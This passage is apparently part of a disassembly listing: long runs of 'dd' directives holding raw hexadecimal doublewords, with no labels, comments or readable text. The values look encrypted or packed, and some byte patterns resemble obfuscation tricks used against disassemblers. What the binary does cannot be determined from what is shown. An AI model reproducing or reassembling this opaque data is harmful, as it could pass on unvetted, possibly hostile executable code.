		dd 2152D486h, 402AC9A6h, 174h, 9923725h, 0DEBFDA57h, 398051Ah
		dd 0A7F4E57Dh, 0FCA13831h, 0A9C04A3Fh, 7EF56B30h, 0A0BE425Bh
		dd 7AF66A33h, 4488405Dh, 0FD9B149Eh, 40831012h,	2586AD15h
		dd 35BDA8C1h, 0C6D34FC1h, 3D15A02Bh, 0FAC5391h,	50201503h
		dd 8FF2E89Bh, 0B5CEC222h, 6D3A6F53h, 0F66C31BFh, 2CE4AF54h
		dd 602F02A0h, 0A3450BCDh, 0CC3FE57Bh, 3BC5A4C3h, 0B63AB924h
		dd 28E0B33Eh, 460BFEA4h, 0C7E95C11h, 3C149F2Ch,	20BC5290h
		dd 0AE306347h, 17809C1Eh, 61EA086h, 0DE8B316Fh,	597F6336h
		dd 1CD85C97h, 0F218EA2h, 0C8885C92h, 0D5A29D95h, 0C6644Eh
		dd 0C5770000h, 2845BBE0h, 0FB74ECB1h, 233BBDDEh, 0FA73E5B6h
		dd 84F5BEDFh, 316A6F06h, 7C21B4AFh, 306D6A04h, 722BB4A8h
		dd 0EAD00EBEh, 0DE12FD9Bh, 2B470EADh, 0EDB843AEh, 99F59935h
		dd 578D0827h, 1C36416Dh, 21AF4769h, 150352F2h, 0A0ECE006h
		dd 130B802h, 0D42AAC13h, 0E1B63E5Bh, 0F3DBB306h, 0D9C8F1ADh
		dd 7083250Bh, 267760FCh, 3C31BEB2h, 18A84BA5h, 47483884h
		dd 857064C1h, 35ABF0E9h, 20B9B039h, 52A14FD1h, 0A25146DEh
		dd 887361B2h, 9C920B94h, 3CCDF9E4h, 0B541B8D4h,	0A98273Bh
		dd 0C0C79CC0h, 8F627FF0h, 0BF31B70Dh, 6673ED0Fh, 66ED098Bh
		dd 0F7Ch, 0EB15CD00h, 0DC5D6570h, 0ACBC0BEEh, 0AC57C135h
		dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h
		dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 47C3685Dh
		dd 4890000h, 5E08924h, 4, 8704E883h, 685C2404h,	4739h
		dd 50242C89h, 405E089h,	2D000000h, 4, 5C240487h, 0BD240C89h
		dd 6F844777h, 241CF755h, 0E5C1455Dh, 3FED8104h,	54FE82ECh
		dd 81240C8Bh, 4C4h, 0BE565500h,	4B2A05F9h, 4247429h, 8418F5Eh
		dd 0F9084181h, 0FF4B2A05h, 83592434h, 2C8B04C4h, 0E6895624h
		dd 4C681h, 0C6830000h, 24348704h, 0D696E95Ch, 0FABEFFFCh
		dd 5AF5F210h, 0B8885E62h, 938A7BBh, 0E0FFC503h,	34AB3276h
		dd 4D8A77Ch, 68B8BD90h,	76935EB7h, 6E8h, 26B26B00h, 5847CD46h
		dd 6BB6C081h, 0D2810000h, 575DB881h, 0BEh, 8B666000h, 11E8D8h
		dd 6FF60000h, 48294E6Fh, 0B11364C1h, 63666047h,	66C4405Ah
		dd 5E8B70BEh, 303C8B61h, 1523BA66h, 0AB6CEF81h,	0E5BB3958h
		dd 816DDA57h, 0D629FF7h, 0B9665033h, 81596F78h,	33C573EFh
		dd 0E5C3BA78h, 3C890FDEh, 0E8CF8B30h, 12h, 0C251DB39h
		dd 0D6B6EAFEh, 0C1AD8486h, 0F98DF397h, 9FB363FDh, 0F3EE815Bh
		dd 0E94EDE07h, 6, 0D518B8D7h, 0C681797Ch, 4EDE07EFh, 0FBE88060h
		dd 38F0Fh, 0EB800000h, 0FE8161D8h, 0FFFF9528h, 24850Fh
		dd 0F8600000h, 8E9h, 0DC3B0100h, 9304A602h, 1CE96167h
		dd 0E7000000h, 20333945h, 0E88CB8ABh, 832B97C9h, 0E9FCE455h
		dd 0FFFFFF5Dh, 0BE9C90DBh, 0E94330A5h, 75h, 0D88C6660h
		dd 840F04A8h, 35h, 0B5FF016Ah, 9350EC9h, 7B70858Dh, 0D0FF0938h
		dd 26958589h, 0FE8B0935h, 680CEFC1h, 20040000h,	26A006Ah
		dd 0D6857h, 95FF0001h, 9352695h, 32E9h,	9D85C600h, 56093517h
		dd 0C530DF68h, 7DB5FFA9h, 8D093516h, 387B7085h,	89D0FF09h
		dd 3526CD85h, 0D5858D09h, 50093531h, 56A206Ah, 0CD95FF56h
		dd 61093526h, 6E0C1C3h,	9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah
		dd 0D2D41CA4h, 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h
		dd 0E62AC7DDh, 0DF1BCE17h, 0A6DB6734h, 46716200h, 0A3EA1A00h
		dd 0D5h, 0E2199C00h
		dd 620000FEh, 0FBFEh, 0E6412800h, 727DD427h, 0D06E9C3h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 61272CC3h, 4AE8B7ACh, 0BD83A2FEh,	9351C19h
		dd 15850F00h, 0B8000000h, 0
		dd 95B5760h, 352615BDh,	4C26109h, 0D8BF0F00h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 523554C3h, 90BB6626h, 0A58D8B90h, 83093506h,	3526A1BDh
		dd 9750009h, 3079BD83h,	74000935h, 8B535013h, 4D0B8C0h
		dd 9D8D0000h, 937B20Ch,	585BD3FFh, 3079BD83h, 74000935h
		dd 0B8535011h, 4D0h, 0B1599D8Dh, 0D3FF0937h, 9589585Bh
		dd 9350F69h, 6A5BB3h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 1F7500C3h, 3BF281B5h, 8B0AC57Ch
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8D61CD90h, 38AA0B85h, 0E5850109h, 50093529h
		dd 2890Fh, 0D18B0000h, 66240489h, 8D5A6EBFh, 38A9C885h
		dd 57006A09h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0F51F977h, 505FDBB7h, 5E8h, 2E28B500h, 0B9661AC0h
		dd 895BC697h, 0CA8B2404h, 0B5D95FFh, 0BF0F0935h, 24448BD0h
		dd 81665604h, 5A6C11D7h, 0A9F38589h, 0EF810938h, 4E7EBF01h
		dd 3840Fh, 0B70F0000h, 24448BD8h, 0CB8B5008h, 785895Bh
		dd 0F0938AAh, 8B66CAB7h, 49BD83CFh, 9351Bh, 179850Fh, 0DE80000h
		dd 0D0000000h, 615E6D8Ah, 44C325C5h, 0A7FEC971h, 0BE8h
		dd 0DD9BAD00h, 8C7BA9D0h, 0F82A467Dh, 0C3D958Bh, 5F590935h
		dd 179D85C6h, 6A470935h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0C95C356h, 0E9B96805h
		dd 0E06C55BBh, 0BE8h, 47CD4600h, 0CE1B464Ch, 9BC9940Ch
		dd 4A1B589h, 81590935h,	0EE10A0D9h, 4E80Dh, 0A7D20000h
		dd 10E8D49Ah, 59000000h, 46C3DF4Dh, 0B4195B80h,	0C64621E8h
		dd 0BF8F149Ch, 27AF7838h, 5056505Fh, 10E952h, 1A380000h
		dd 0C8BE4970h, 11B0416Fh, 0B1A1EBA0h, 310F3B05h, 10E8h
		dd 5B225600h, 1E08F1F3h, 7C58283Fh, 0F7426E92h,	585A5B17h
		dd 24448B5Fh, 55B96604h, 0E8008B82h, 7,	78121731h, 0BA53D732h
		dd 7CC6D24Ch, 2444895Fh, 5E804h, 0F0070000h, 6650E44Eh
		dd 590D0AB9h, 0FFFA8B58h, 35167DB5h, 55006A09h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 7177F341h
		dd 0FE8B66BAh, 7B70858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0B634C0C3h, 0BE9h, 64AAD500h
		dd 9D164542h, 83660004h, 5E8D0FFh, 0D3000000h, 6CBE851Bh
		dd 4159D8Bh, 895A0935h,	351B4985h, 45858909h, 8309351Bh
		dd 352A85BDh, 850F0009h, 11Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0EC35545h, 0DA9599B8h, 0B093BF31h
		dd 0D38166F3h, 8B6673E9h, 9D85C6FEh, 47093517h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B5C35747h, 26098D0Bh
		dd 0BD8B0935h, 9350121h, 4E8h, 0FB5E200h, 0EE8608Ah, 2A000000h
		dd 0D736DD1h, 3F244548h, 0B19E241Eh, 5F5E5064h,	0A723BB66h
		dd 98B95061h, 8B2AFB21h, 0B5042444h, 0BB008B66h, 75125246h
		dd 4244489h, 8958D08Bh,	3528598Dh, 7DB5FF09h, 6A093516h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 9167C353h, 307695Fh, 0CE8h, 0C85B2100h, 7AA52882h
		dd 746DD8C6h, 5BCE8B64h, 7B70858Dh, 0D0FF0938h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0AC35343h, 34455887h
		dd 80FDE565h, 516097E2h, 615BB8B6h, 2A858589h, 0BD8B0935h
		dd 9351C39h, 2BD9BD83h,	0F000935h, 0B485h, 25958B00h, 0C6093524h
		dd 35179D85h, 8D035609h, 9351261h, 33F8D568h, 37CBBF9Ah
		dd 348111F7h, 2C95EC24h, 0D181664Eh, 0B5FF65B6h, 935167Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9FC35242h
		dd 43DE2110h, 80D7AF86h, 858D38D3h, 9387B70h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C5C35242h, 0D6D9D0EDh
		dd 0C810FB7h, 0F000000h, 683h, 0E98D2900h, 0E909351Dh
		dd 8, 33683F5Eh, 0C973E9A1h, 6660D0FFh,	0A1AFC681h, 875BBB66h
		dd 0D9858961h, 3109352Bh, 3503D98Dh, 9D85C609h,	6C093517h
		dd 12E9h, 3C9EA900h, 0F9FC9411h, 93C59F6Eh, 95E7AA56h
		dd 897B7A98h, 35309995h, 4E809h, 70830000h, 0F0BFDB05h
		dd 506DF980h, 5E9h, 0B995600h, 448B9301h, 0DE80424h, 91000000h
		dd 7B8CF9FAh, 5F668441h, 17213B54h, 8B5A48B5h, 0CF8B5300h
		dd 24448959h, 6E95104h,	0AE000000h, 0CE88687Eh,	815859A3h
		dd 0FEAB12CBh, 0C9B5FF0Fh, 0E809350Eh, 6, 0F4579B2Fh, 8D29E2B1h
		dd 93526D1h, 98858D5Bh,	8B093538h, 6AD0FFD7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0BD9DC351h, 0B5C5F186h, 305B692Bh, 8960CA8Bh, 351C798Dh
		dd 85896109h, 938A9F7h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0D1C35747h, 37BA9782h, 29F5BB49h, 352B89BDh
		dd 89046A09h, 352B659Dh, 72826809h, 481F3CAh, 359D7E24h
		dd 59BD8B0Ch, 68093511h, 0C02C88C9h, 81DE8B66h,	77372404h
		dd 6A3FD4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0EE44DAC3h, 0C135BD32h, 0D01BD0Bh, 6A0935h
		dd 27D1BD8Bh, 95FF0935h, 9350451h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 9DC35343h, 858967B6h, 938AA03h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 1C35242h
		dd 66FADC13h, 89006AE5h, 35061585h, 4E809h, 0
		dd 8E90001h, 0EF000000h, 0A9F0D8D3h, 5000705Bh,	448BCC8Ah
		dd 890F0424h, 17h, 0AE95250h, 0FB000000h, 7B7E1FEh, 75B8AA71h
		dd 52310FC7h, 8B585A5Fh, 24448900h, 8B665704h, 66585FD0h
		dd 4650C181h, 287B950h,	4892F50h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 9A2E821Eh
		dd 44357E45h, 7E80B6Ah,	2000000h, 5FEAB1ECh, 9D2B8C08h
		dd 9351BC1h, 0D0858D5Bh, 10938A9h, 350C99B5h, 59D2309h
		dd 50093533h, 489CC8Ah,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 85261303h, 98B6F5DBh
		dd 4995FFF9h, 6A09351Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 5F3FC350h, 0EA1A8AF7h
		dd 0DD94400Ah, 0B58D40B6h, 938A9DAh, 68E0Fh, 0BD8B0000h
		dd 9352761h, 83BF6650h,	2434894Fh, 88FDB966h, 0D38B5090h
		dd 11E990h, 68C00000h, 3AF970EAh, 0F5B3A6CBh, 8DF97D91h
		dd 0FF177E17h, 352A8595h, 0FF60B609h, 1BD8BD0h,	8B09350Ch
		dd 38AA03B5h, 0C7FB8B09h, 38A9FB85h, 9,	0DDBD2900h, 80093517h
		dd 0F00207Eh, 2ED84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 40ACBC2Ah, 0B54E4366h
		dd 0CA816666h, 958B3284h, 9350359h, 3860F60h, 80000000h
		dd 468DB0C6h, 9DBD8920h, 89093503h, 38A9FF85h, 25958909h
		dd 0E909351Ch, 0Ah, 0F154B966h,	66DE8B40h, 3880D98Bh, 0F1850F00h
		dd 0BFFFFFFh, 350B7595h, 7DBD8909h, 0E909350Ah,	0Ch, 1171BD29h
		dd 66480935h, 6157D281h, 0F5C3880h, 5684h, 0B1958B00h
		dd 80093502h, 840F2F38h, 47h, 1EC99D8Bh, 853B0935h, 938A9FFh
		dd 0FFD0830Fh, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 8D34ADC3h, 61B58924h, 0E9093511h
		dd 9, 65A665D7h, 60B981CFh, 40D38B58h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 59C35646h, 40CD0988h, 113A7FF1h
		dd 6018D8Bh, 8B600935h,	35332585h, 0F1BDBB09h, 83610E87h
		dd 38AA07BDh, 840F0009h, 93h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 7BC35141h, 7F6036EDh, 840F7093h
		dd 1Eh,	12E8h, 0C3DD3400h, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh
		dd 30034DAh, 350C5195h,	8B505A09h, 240489F9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E7C35343h, 16C7A964h
		dd 0CAC1B62Fh, 0F98B66DBh, 0AA078503h, 5E80938h, 0B4000000h
		dd 0EDF65A21h, 0C65ACA8Bh, 0BF0F0000h, 0BBB58C9h, 50416FD1h
		dd 4850Fh, 57500000h, 4895B5Fh,	0B5858924h, 0FF093516h
		dd 38A9F3B5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0B86C0DCFh, 0DCC98166h, 8166517Dh
		dd 5B7816D2h, 0A9F795FFh, 0E2810938h, 69846A15h, 0B97ED80h
		dd 80850FC0h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0BFFFC352h,	1817DE5Ah
		dd 17519529h, 6A610935h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 5215C351h, 798589C6h
		dd 0E8093503h, 11h, 5F2A1719h, 407AA748h, 0C16A8824h, 0C9AC73B6h
		dd 4976B963h, 0C7597330h, 38A9FB85h, 109h, 3D8D3300h, 0E909352Dh
		dd 5Ah,	61DF8B66h, 58F0Fh, 54BF0000h, 816D9C62h, 11CC6h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0E8603CFFh, 14h,	0A6840162h, 406420A6h
		dd 4F3806Eh, 28FB8F8Eh,	6946BAE4h, 0E95FFFB1h, 0FFFFFD0Fh
		dd 3BD9D31h, 37680935h,	667BA479h, 3481CA8Bh, 0A4F93724h
		dd 50006A7Bh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 16BD2DB2h, 0DE945h, 0EB2D0000h, 0B3F12C3Ch
		dd 0B21E254Eh, 6A14573Bh, 0B8EB8000h, 0AA03B5FFh, 6A0938h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0B8CBC4C3h, 0FE144D2Ch, 0E933C244h, 7, 0FBFCCECBh, 8B5DF507h
		dd 0D995FFCFh, 3309352Bh, 3528159Dh, 0FB858B09h, 0B30938A9h
		dd 0DE890F4h, 0AA000000h, 0C2E5CF9h, 0CBC00574h, 151E3E94h
		dd 0C9BA505Bh, 90071BEFh, 14E9h, 75C11B00h, 0F40DC726h
		dd 0AE749F17h, 0B885454Bh, 874B80D6h, 0B858DF3h, 8B0938AAh
		dd 350AA99Dh, 49958B09h, 9009351Fh, 0F78B6660h,	61616060h
		dd 0C5BF5061h, 901E33A3h, 439B01BFh, 0C8858D07h, 6A0938A9h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 663EC352h, 0D8DC281h, 19958957h, 59093508h
		dd 0FE890h, 0B5550000h,	0E64B91BBh, 98090D9Ah, 0C1A589BEh
		dd 0AFB4B9DFh, 505A721Fh, 90D38B66h, 95FFD9B5h,	9352A9Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 18C35646h
		dd 37490B41h, 4DF2588Eh, 1880Fh, 8BFC0000h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 95893F58h, 9350691h,	26A1BD83h, 75000935h, 79BD8309h
		dd 93530h, 53501374h, 0D0B8C08Bh, 8D000004h, 37B2739Dh
		dd 5BD3FF09h, 79BD8358h, 93530h, 53501174h, 4D0B8h, 729D8D00h
		dd 0FF0937B1h, 0F585BD3h, 685h,	39B53100h, 8909350Eh, 35222D85h
		dd 0F8C08B09h, 57006A58h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 9B9C5B55h, 0C234BB02h
		dd 85890008h, 9350F5Dh,	958BC08Bh, 93528D1h, 0AA3C858Dh
		dd 6A0938h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0A63B03C3h, 1CCB48E3h, 8D8BFEF8h,	9350F25h
		dd 0A20C51B9h, 25858918h, 0EB09351Fh, 0DB000039h, 0DB02CC00h
		dd 0DB02E400h, 0
		dd 151F6900h, 0C13C9F5h, 1D1B2EC4h, 161FD490h, 1C58BCFDh
		dd 367684FCh, 343A30C4h, 37027490h, 2C1878E0h, 1913FCF8h
		dd 911647F4h, 7876A380h, 3FAF8275h, 60507408h, 0A68A7793h
		dd 0B5DC6E20h, 0C5F5DD1Bh, 7143A831h, 0FB7F3290h, 4D46DA2Dh
		dd 6102D199h, 0B8FDBBC0h, 7872CD28h, 0B9F3B390h, 0F57F28BAh
		dd 4FC2B60Dh, 23A5B899h, 1CB20C8h, 787FE4A0h, 2B26FFE4h
		dd 7872CD28h, 0B9F3B390h, 0F57F28BAh, 4FC7A90Dh, 23A5B899h
		dd 2E76C9C8h, 7876D278h, 0BB28C890h, 5C02FDCEh,	5C32BB94h
		dd 78760794h, 0BB20C890h, 0B0C54C33h, 0F199CF5Ah, 4D7A001Dh
		dd 0F3816299h, 0F3102650h, 0FDB0606Eh, 71430A0Dh, 0A5FBA7C6h
		dd 107F728Bh, 6700A495h, 7876509Fh, 7CF7E890h, 4AC739B4h
		dd 1298BAEDh, 6E0BA86Fh, 781C87A5h, 7875AFC5h, 2556A390h
		dd 14FF8C53h, 3CF7ECB4h, 786F70B4h, 2D333A90h, 0A0292753h
		dd 0F3AD074Ch, 4D5E1E05h, 8F32E99h, 907FE9EBh, 7876E896h
		dd 0DE3A5381h, 729F352Eh, 0C2761D90h, 336CFBBDh, 0A4155761h
		dd 0ED47FA3Ah, 7143F231h, 0FDFF386Fh, 71435CA9h, 0F5FF3EFAh
		dd 71432FC1h, 2E00AAF8h, 3EBCF87Eh, 7CF7DB2Ch, 0D1EF0DB4h
		dd 2D768281h, 78767778h, 0BB2B1A90h, 5C1A94CDh,	5C320F94h
		dd 78765B94h, 0BB23E690h, 0C74E67D4h, 615CE980h, 78729C15h
		dd 7A9A3A90h, 0ADFC1D90h, 0F38705C0h, 2F7263D4h, 218C28F6h
		dd 0C610D11Bh, 3CFF5544h, 122E70B4h, 7B9E6A90h,	58761D90h
		dd 0F12E4DC8h, 0F97263D4h, 6F7287D4h, 3876D190h, 523A2BC0h
		dd 6B9EC836h, 0BD763A90h, 353A794Ch, 0F32EE3A4h, 73F391B7h
		dd 0DC3F657Dh, 0CDFDA3E2h, 7143CB61h, 12761ECEh, 7B9E6F90h
		dd 58761D90h, 0F12B4DCDh, 0F97263FCh, 607287D4h, 3D76D190h
		dd 9E4F2BC5h, 775BF4F8h, 78763815h, 872C4B90h, 2876E440h
		dd 78764478h, 0BB2E8390h, 5C3258C8h, 5C326994h,	78766094h
		dd 0BB267A90h, 0B9849C7Ch, 0F3194151h, 4D78921Dh, 1BF32A99h
		dd 127FE927h, 7B9EBA90h, 58767490h, 0F12CF9CAh,	0F97239C4h
		dd 6E72AAD4h, 3A764790h, 0F8BD60C2h, 0C1C9B7E6h, 7D8E636Dh
		dd 7876765Ch, 0CF11BF19h, 0B8F514A8h, 13F30788h, 4B7F7F27h
		dd 7A9A1A50h, 0D285D190h, 9023E8FAh, 78767493h,	25B567B0h
		dd 7C527119h, 7C52CA11h, 78764785h, 14B5F6D5h, 0EDCB5AFEh
		dd 127FDD9Eh, 7B9E2490h, 58763A90h, 0F12EDEC8h,	0F972AAD4h
		dd 6C7263D4h, 3876A390h, 0F37612C0h, 0E5F32E63h, 3B7F4187h
		dd 90233AFAh, 78761D93h, 25B5D3B0h, 7C522B19h, 7C52E711h
		dd 7876D187h, 36B5BDD5h, 102F3435h, 661373DCh, 6A521911h
		dd 87088CB2h, 4D603A25h, 2B76C999h, 7876D278h, 0BB2DC890h
		dd 5C2AFDCBh, 5C32BB94h, 78760194h, 0BB25CD90h,	66EFCE6h
		dd 0FBA56B02h, 0FDFB24EDh, 714E93E0h, 78767B78h, 0F6E6A790h
		dd 7DF5C633h, 0BAC88DB5h, 73B79EE5h, 27797A10h,	781C016Fh
		dd 787500C0h, 20567490h, 3CFF6253h, 3CF719B4h, 78618AB4h
		dd 28364790h, 35CEF153h, 65FB5858h, 1E7FDD9Bh, 0FDFF831Bh
		dd 71431825h, 9F39065h,	497FBBA2h, 4D79961Dh, 49F32A99h
		dd 127FE493h, 7B9EBA90h, 58767490h, 0F12CF9CAh,	0F97239C4h
		dd 6E72AAD4h, 3A764790h, 4EEB60C2h, 0F910B1C0h,	51524E51h
		dd 4D59350Dh, 0FDB05B99h, 71430A0Dh, 11E3A7C3h,	107F72A2h
		dd 0F28F7F48h, 7876C379h, 5C1B6090h, 0E3402237h, 41A0699Ch
		dd 91B0907Eh, 0F92D6F6Ah, 14766394h, 0C5FDD227h, 7143F30Dh
		dd 6E0B5D6Fh, 781C7DA5h, 7875D2C2h, 22561D90h, 2CFFD453h
		dd 3CF743B4h, 786AA7B4h, 2A34D190h, 1C4FD453h, 6896EC5Bh
		dd 83FD0128h, 306981Dh,	781C87A8h, 7875AFC2h, 2256A390h
		dd 2CFF8B53h, 3CF7ECB4h, 786E70B4h, 2A343A90h, 8CB0F353h
		dd 0ED5FEA46h, 71436855h, 0C210736Fh, 0FDFFB25Bh, 7143E0B9h
		dd 7875F29Fh, 89F63A90h, 0E5F3DB10h, 2B7FBB87h,	7875C49Fh
		dd 0C779A390h, 6F2AB941h, 0B0FD7603h, 2F527011h, 124FBF3Dh
		dd 7B9E4B90h, 58768E90h, 0F12884CEh, 0F97287E4h, 6C72F5D4h
		dd 3E76E890h, 87E2B7C6h, 4D604725h, 0B3FD7B99h,	3060B1Dh
		dd 781C4EA8h, 78754BC0h, 2056D190h, 3CFFB053h, 3CF770B4h
		dd 78633EB4h, 28361D90h, 1E685F53h, 8753932Eh, 2876C940h
		dd 7876D278h, 0BB2EC890h, 5C32FDC8h, 5C32BB94h,	78760794h
		dd 0BB26CE90h, 0A65E425Ch, 77652894h, 7876D11Fh, 69F36190h
		dd 2A7F41BEh, 5C2F8F1Bh, 0BE2F14A5h, 4D611315h,	781C0099h
		dd 78754BC5h, 2556D190h, 14FFB553h, 3CF770B4h, 786B3EB4h
		dd 2D331D90h, 0BEED2E53h, 4448054Fh, 5B954AA1h,	4D72FC1Dh
		dd 31DB8099h, 0C210DA90h, 4CF78165h, 0A6E219B4h, 2B76E489h
		dd 78764478h, 0BB2D8390h, 5C2A58CBh, 5C326994h,	78766994h
		dd 0BB257990h, 0CD092FC0h, 1EEC07CDh, 0F5FD6D95h, 7143A679h
		dd 6E0B646Fh, 0F5FDE1A5h, 71436495h, 306BF1Dh, 781C14A8h
		dd 787566C7h, 27564790h, 4FFFC53h, 3CF7D5B4h, 7861ECB4h
		dd 2F317490h, 2B4F1F53h, 12A6E2BDh, 7B9EDE90h, 58764790h
		dd 0F12E60C8h, 0F972F5D4h, 6072CCD4h, 38767490h, 0FC95F9C0h
		dd 0F91B3AB8h, 0F5BD0B41h, 91F3CEDEh, 127F969Ah, 7B9E8190h
		dd 5876E890h, 0F12EB7C8h, 0F9721ED4h, 637239D4h, 38768E90h
		dd 40FC84C0h, 77E2D973h, 769E1760h, 0B276E890h,	0CE743873h
		dd 272252Eh, 16FB1B9Fh,	7BF5817Bh, 1E764790h, 0BE2C721Bh
		dd 4D614C15h, 781CAF99h, 78759CC0h, 20563A90h, 3CFF4553h
		dd 3CF78AB4h, 786343B4h, 2836A390h, 905E7853h, 7876E894h
		dd 0F9AA64EAh, 28A7B1F6h, 78761178h, 27CB2290h,	1B922875h
		dd 9E5D6FC0h, 0ABFDB76Ah, 5C3263C9h, 0C976FF94h, 5C32B323h
		dd 787BF494h, 1A5F8E90h, 88B9A95Bh, 928CFB96h, 2082FAFAh
		dd 9026E8FAh, 78767493h, 20B562B0h, 7C525919h, 7C52CA11h
		dd 7876478Ch, 1FB5F3D0h, 6609552h, 97EEF890h, 78766479h
		dd 0C093E490h, 194D8926h, 0C5FEC368h, 0CC7B4013h, 5C35CECh
		dd 127FE486h, 7B9EBA90h, 58767490h, 0F12CF9CAh,	0F97239C4h
		dd 6472AAD4h, 3A764790h, 33A760C2h, 0B651E236h,	0C2B314B0h
		dd 233D5A8Eh, 306BF1Dh,	781C14A8h, 787566C7h, 27564790h
		dd 4FFFC53h, 3CF7D5B4h,	7862ECB4h, 2F317490h, 0A889B853h
		dd 5A1F9819h, 0FDFF87A5h, 7143435Dh, 36562A2Eh,	0E5F317A8h
		dd 3F7FDD87h, 902474FAh, 78763A93h, 22B547B0h, 7C52DA19h
		dd 7C520311h, 7876A38Dh, 1AB583D2h, 0E4555F7Dh,	5BA0D953h
		dd 85F33B3Dh, 1E7F28B7h, 0F9436F11h, 5A1BB7F8h,	1E25C334h
		dd 902C2A1Bh, 7876E883h, 0F1136473h, 0B4832E62h, 20F59D4Eh
		dd 66E92FC1h, 90264214h, 7876A384h, 3A5D495Ch, 0AC120C02h
		dd 0EB85C9A8h, 4AB1AFF4h, 113BF64Ch, 0F917D7CEh, 0B61B6394h
		dd 0FD5FA53Ah, 7143C0F1h, 6E0B5D6Fh, 781C7DA5h,	7875D2C6h
		dd 26561D90h, 0CFFD053h, 3CF743B4h, 786BA7B4h, 2E30D190h
		dd 789C7053h, 0D5F70F5Ch, 77D8C32Ch, 719ED427h,	32768E90h
		dd 17B1EFE2h, 15CB39E6h, 7876C279h, 0A80DF590h,	48272DD7h
		dd 0C4F084CFh, 63F61BF8h, 6DF5E520h, 8F3CAC9h, 127F9BEBh
		dd 7B9E8090h, 5876E890h, 0F12FB7C9h, 0F9721EDCh, 617239D4h
		dd 39768E90h, 0C06F84C1h, 414638EAh, 55C358C3h,	217FDDBBh
		dd 781CA46Fh, 7875D2C7h
		dd 27561D90h, 4FFD153h,	3CF743B4h, 7860A7B4h, 2F31D190h
		dd 14E26953h, 7E3FF91Bh, 0F18A33A5h, 4D74C015h,	2A76E499h
		dd 78764478h, 0BB2C8390h, 5C2258CAh, 5C326994h,	78766E94h
		dd 0BB247890h, 0E4410A6Ch, 87430347h, 28762D40h, 7876A078h
		dd 0BB2EF190h, 5C3261C8h, 5C32F594h, 78762F94h,	0BB265D90h
		dd 0F5FDC69Dh, 71435CBDh, 7876AD79h, 5571B290h,	637A8B50h
		dd 0C7A0E53Ch, 0F1A6817Eh, 4D52C815h, 2976E499h, 78764478h
		dd 0BB2F8390h, 5C3A58C9h, 5C326994h, 78766294h,	0BB277B90h
		dd 1E84B1B6h, 781C561Ch, 7875AFC0h, 2056A390h, 3CFF8953h
		dd 3CF7ECB4h, 786E70B4h, 28363A90h, 4C1DDE53h, 7C5243A3h
		dd 5C1BD21Bh, 0C5FDAAA5h, 7143D541h, 0FC79289Ah, 78767743h
		dd 90273AFAh, 78761D93h, 21B5D7B0h, 7C520B19h, 7C52E711h
		dd 7876D18Ah, 96B5B9D1h, 2AA08E3Ch, 0FDB0F2D9h,	71430A0Dh
		dd 787266DFh, 14B24790h, 90261C10h, 7876D195h, 0EE65DBC2h
